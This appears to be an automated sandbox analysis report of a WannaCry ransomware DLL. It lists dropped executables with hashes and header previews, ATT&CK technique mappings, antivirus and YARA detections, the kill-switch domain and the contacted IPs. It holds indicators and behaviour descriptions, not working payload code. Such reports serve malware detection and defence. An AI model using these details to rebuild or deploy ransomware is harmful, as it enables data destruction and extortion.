Source: C:\Windows\mssecsvr.exe	Dropped PE file which has not been started: C:\Windows\tasksche.exe			Jump to dropped file

Source: C:\Windows\mssecsvr.exe

Window / User API: threadDelayed 1637

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: svchost.exe, 00000014.00000002.540963825.000002109E4DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: svchost.exe, 0000000F.00000002.963054017.000002084EE02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000014.00000002.540842281.000002109E48A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.541098581.000002109ED05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000F.00000002.963250271.000002084EE29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Service Execution	4 Windows Service	4 Windows Service	12 Masquerading	1 Input Capture	1 Network Share Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	4 Software Packing	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
4Maoj78D1f.dll	88%	Virustotal		Browse
4Maoj78D1f.dll	80%	Metadefender		Browse
4Maoj78D1f.dll	90%	ReversingLabs	Win32.Ransomware.WannaCry
4Maoj78D1f.dll	100%	Avira	TR/AD.WannaCry.gpbbt
4Maoj78D1f.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\mssecsvr.exe	100%	Avira	TR/AD.WannaCry.gpbbt
C:\Windows\tasksche.exe	100%	Avira	TR/AD.WannaCry.gpbbt
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\Windows\tasksche.exe	100%	Joe Sandbox ML
C:\WINDOWS\qeriuwjhrf (copy)	75%	Metadefender		Browse
C:\WINDOWS\qeriuwjhrf (copy)	100%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\mssecsvr.exe	85%	Metadefender		Browse
C:\Windows\mssecsvr.exe	100%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
6.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
4.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
6.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
4.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
6.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
7.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
4.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
4.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
7.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Ransom.Gen	Download File
4.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File
6.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/AD.WannaCry.gpbbt	Download File

Domains

Source	Detection	Scanner	Label	Link
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	URL Reputation	malware
http://help.disneyplus.com.	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	URL Reputation	malware
https://www.pango.co/privacy	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	true	9%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000014.00000002.541098581.000002109ED05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000014.00000003.522840424.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.522803477.000002109ED8B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.522768356.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.522739374.000002109EDB4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000007.00000002.962907000.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.2.dr	true	URL Reputation: malware	unknown
http://help.disneyplus.com.	svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.hotspotshield.com/	svchost.exe, 00000014.00000003.514435448.000002109EDAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514592323.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514400037.000002109ED9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514369027.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514574636.000002109ED81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hotspotshield.com/terms/	svchost.exe, 00000014.00000003.514435448.000002109EDAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514592323.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514400037.000002109ED9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514369027.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514574636.000002109ED81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	mssecsvr.exe, 00000007.00000003.368719566.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.pango.co/privacy	svchost.exe, 00000014.00000003.514435448.000002109EDAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514592323.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514400037.000002109ED9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514369027.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514574636.000002109ED81000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
57.36.181.236	unknown	Belgium	2686	ATGS-MMD-ASUS	false
150.58.102.154	unknown	Japan	24291	MITSUI-NWMITSUICOLTDJP	false
25.229.111.193	unknown	United Kingdom	7922	COMCAST-7922US	false
97.63.31.141	unknown	United States	22394	CELLCOUS	false
84.197.232.134	unknown	Belgium	6848	TELENET-ASBE	false
173.44.201.147	unknown	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false
189.97.129.21	unknown	Brazil	27699	TELEFONICABRASILSABR	false
118.122.96.85	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
136.72.245.20	unknown	United States	60311	ONEFMCH	false
142.192.144.13	unknown	United States	13576	SDNW-13576US	false
154.217.48.64	unknown	Seychelles	35916	MULTA-ASN1US	false
206.149.64.179	unknown	United States	174	COGENT-174US	false
180.236.184.203	unknown	Korea Republic of	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
112.44.94.246	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
190.172.64.49	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
45.38.86.111	unknown	United States	18779	EGIHOSTINGUS	false
94.119.25.251	unknown	United Kingdom	42390	THECLOUD-DEGB	false
100.222.241.15	unknown	United States	21928	T-MOBILE-AS21928US	false
113.245.247.39	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
56.197.250.156	unknown	United States	2686	ATGS-MMD-ASUS	false
82.127.44.165	unknown	France	3215	FranceTelecom-OrangeFR	false
66.138.171.240	unknown	United States	7018	ATT-INTERNET4US	false
3.91.104.245	unknown	United States	14618	AMAZON-AESUS	false
18.27.23.81	unknown	United States	3	MIT-GATEWAYSUS	false
20.199.44.19	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
158.168.96.180	unknown	Luxembourg	42848	EC-ASLU	false
31.88.34.170	unknown	United Kingdom	12576	EELtdGB	false
54.85.251.32	unknown	United States	14618	AMAZON-AESUS	false
116.106.179.118	unknown	Viet Nam	24086	VIETTEL-AS-VNViettelCorporationVN	false
135.18.118.61	unknown	United States	10455	LUCENT-CIOUS	false
165.87.1.101	unknown	United States	7018	ATT-INTERNET4US	false
221.97.226.154	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
91.11.187.79	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
208.148.89.96	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
156.98.189.84	unknown	United States	1998	STATE-OF-MNUS	false
147.122.152.46	unknown	Italy	137	ASGARRConsortiumGARREU	false
221.41.95.25	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
98.70.241.199	unknown	United States	7018	ATT-INTERNET4US	false
141.35.40.75	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
168.138.236.165	unknown	United States	31898	ORACLE-BMC-31898US	false
96.27.91.29	unknown	United States	12083	WOW-INTERNETUS	false
56.70.91.105	unknown	United States	2686	ATGS-MMD-ASUS	false
5.199.141.209	unknown	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	false
152.94.72.253	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
164.206.42.31	unknown	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
22.199.45.203	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
222.89.50.73	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
218.52.24.178	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
44.197.246.33	unknown	United States	14618	AMAZON-AESUS	false
41.221.133.52	unknown	Egypt	24863	LINKdotNET-ASEG	false
32.220.56.189	unknown	United States	46690	SNET-FCCUS	false
178.8.222.122	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
92.32.208.47	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
100.238.242.132	unknown	United States	21928	T-MOBILE-AS21928US	false
95.233.158.47	unknown	Italy	3269	ASN-IBSNAZIT	false
142.153.53.88	unknown	Canada	3743	ARCEL-2US	false
158.177.185.34	unknown	United States	36351	SOFTLAYERUS	false
153.229.103.25	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
190.169.156.74	unknown	Venezuela	19192	UniversidadCentraldeVenezuelaVE	false
173.213.239.75	unknown	United States	22903	EDGE-HOSTINGUS	false
24.129.15.131	unknown	United States	7922	COMCAST-7922US	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	669909
Start date and time: 20/07/202213:22:24	2022-07-20 13:22:24 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	4Maoj78D1f (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@21/3@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 90%) Quality average: 74.7% Quality standard deviation: 32.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 20.223.24.244, 51.11.168.232, 52.191.219.104, 20.44.239.154, 20.72.205.209
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, settings-prod-wus2-2.westus2.cloudapp.azure.com, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, settings-prod-sea-1.southeastasia.cloudapp.azure.com, arc.msn.com, atm-settingsfe-prod-weighted.trafficmanager.net, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, settings-prod-eus-1.eastus.cloudapp.azure.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, settings-prod-uks-1.uksouth.cloudapp.azure.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:23:42	API Interceptor	1x Sleep call for process: loaddll32.exe modified
13:24:47	API Interceptor	8x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ATGS-MMD-ASUS	5KuDatpUtO.dll	Get hash	malicious	Browse	51.228.189.136
	X3vbdqFLUr.dll	Get hash	malicious	Browse	48.48.64.109
	WXdI0kxnVd.dll	Get hash	malicious	Browse	32.134.90.122
	m83gAzJP2s.dll	Get hash	malicious	Browse	57.39.81.97
	V5E1THfAvp.dll	Get hash	malicious	Browse	51.130.35.0
	TfN4L9J5dc.dll	Get hash	malicious	Browse	48.110.231.194
	veTLHDSFEb.dll	Get hash	malicious	Browse	210.88.158.33
	9UxtlcUBmY.dll	Get hash	malicious	Browse	57.236.231.186
	mw2xyz6M8y.dll	Get hash	malicious	Browse	48.67.96.247
	vc37nVpSa8.dll	Get hash	malicious	Browse	48.113.173.239
	1X9XhDqcPp.dll	Get hash	malicious	Browse	51.29.210.73
	SDpiC5bJDG.dll	Get hash	malicious	Browse	48.158.42.82
	e2r2eC4Rgs.dll	Get hash	malicious	Browse	57.167.107.238
	SRm1E5EfSU.dll	Get hash	malicious	Browse	56.223.42.110
	5m8nefcbvw.dll	Get hash	malicious	Browse	56.112.184.197
	WF68F77LLw.dll	Get hash	malicious	Browse	32.147.16.179
	j2Br89kv8Q.dll	Get hash	malicious	Browse	57.208.145.93
	A4Qtvtlmj8.dll	Get hash	malicious	Browse	56.38.231.189
	JhtKkHKafN.dll	Get hash	malicious	Browse	56.97.11.74
	t1M6qXGru4.dll	Get hash	malicious	Browse	48.11.58.249

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	5KuDatpUtO.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	5CzpLpyDvs.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	X3vbdqFLUr.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	WXdI0kxnVd.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	V5E1THfAvp.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	9UxtlcUBmY.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	k9almTwT0Q.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	cYg0lN3nYZ.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	1X9XhDqcPp.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	SDpiC5bJDG.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	e2r2eC4Rgs.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	SRm1E5EfSU.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	5m8nefcbvw.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	WF68F77LLw.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	ezInolE9F1.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	JhtKkHKafN.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	t1M6qXGru4.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	orfxjJiar4.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	7veyezkcWb.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106
	RqnNqzFeHS.dll	Get hash	malicious	Browse	20.190.159.5 52.242.101.226 20.190.159.23 40.125.122.176 52.152.110.14 20.54.89.106

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\WINDOWS\qeriuwjhrf (copy)	9UxtlcUBmY.dll	Get hash	malicious	Browse
	41ECj4EgTY.dll	Get hash	malicious	Browse
	NANG-104355_mssecsvr.exe	Get hash	malicious	Browse
C:\Windows\tasksche.exe	9UxtlcUBmY.dll	Get hash	malicious	Browse
	41ECj4EgTY.dll	Get hash	malicious	Browse
	NANG-104355_mssecsvr.exe	Get hash	malicious	Browse

Created / dropped Files

C:\WINDOWS\qeriuwjhrf (copy)

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.993464768178038
Encrypted:	true
SSDEEP:	49152:SEMSPbcBVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:ZPoBhz1aRxcSUDk36SAEdhvm
MD5:	A0D0B20286669B4664AE1AEFFAF07A88
SHA1:	28BCAFBD85E84479B575CC1F3C5B3C39875A3A5F
SHA-256:	96D7B2D83E30FED4EEC2CBF2E1FBE426DAD705F918AE8ABBDA0DB4B4AFB82865
SHA-512:	CFF6F64549B7E2961181A041ECBFBE9C90B6B9AAB970609785FCD8A6AD69BE9915B0A6F22C3481EA4E07DC8BE3E4591FB49C551ABC22CEDA2239935ADFEC0249
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 75%, Browse Antivirus: ReversingLabs, Detection: 100%
Joe Sandbox View:	Filename: 9UxtlcUBmY.dll, Detection: malicious, Browse Filename: 41ECj4EgTY.dll, Detection: malicious, Browse Filename: NANG-104355_mssecsvr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723264
Entropy (8bit):	7.9687629390526284
Encrypted:	false
SSDEEP:	98304:hfPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2HI:hfPe1Cxcxk3ZAEUadzR8yc4HI
MD5:	7290AFBD1B28AAAF40403CB7DD295C9D
SHA1:	C861EDBBBD1F6622B1B1BC5B82F0D6744DAD0CB5
SHA-256:	76AF2973E7824FF2493D500FC80DFFD460E2F1EF4C265CFBD872E253C70B75A7
SHA-512:	D7B676B1E3ED538C341145D29E3F564D80D2348767DCC24ABF96635F6203A6F96DF0C32BAE0ED920F5ED41E6D509FBA2F27B2923AB47C5576A487BF44A2E31E4
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvr.exe, Author: us-cert code analysis team
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 85%, Browse Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L.....................08...................@...........................f......................................................1.T.5..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc...T.5...1...5.. ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.993464768178038
Encrypted:	true
SSDEEP:	49152:SEMSPbcBVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:ZPoBhz1aRxcSUDk36SAEdhvm
MD5:	A0D0B20286669B4664AE1AEFFAF07A88
SHA1:	28BCAFBD85E84479B575CC1F3C5B3C39875A3A5F
SHA-256:	96D7B2D83E30FED4EEC2CBF2E1FBE426DAD705F918AE8ABBDA0DB4B4AFB82865
SHA-512:	CFF6F64549B7E2961181A041ECBFBE9C90B6B9AAB970609785FCD8A6AD69BE9915B0A6F22C3481EA4E07DC8BE3E4591FB49C551ABC22CEDA2239935ADFEC0249
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly) Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: 9UxtlcUBmY.dll, Detection: malicious, Browse Filename: 41ECj4EgTY.dll, Detection: malicious, Browse Filename: NANG-104355_mssecsvr.exe, Detection: malicious, Browse
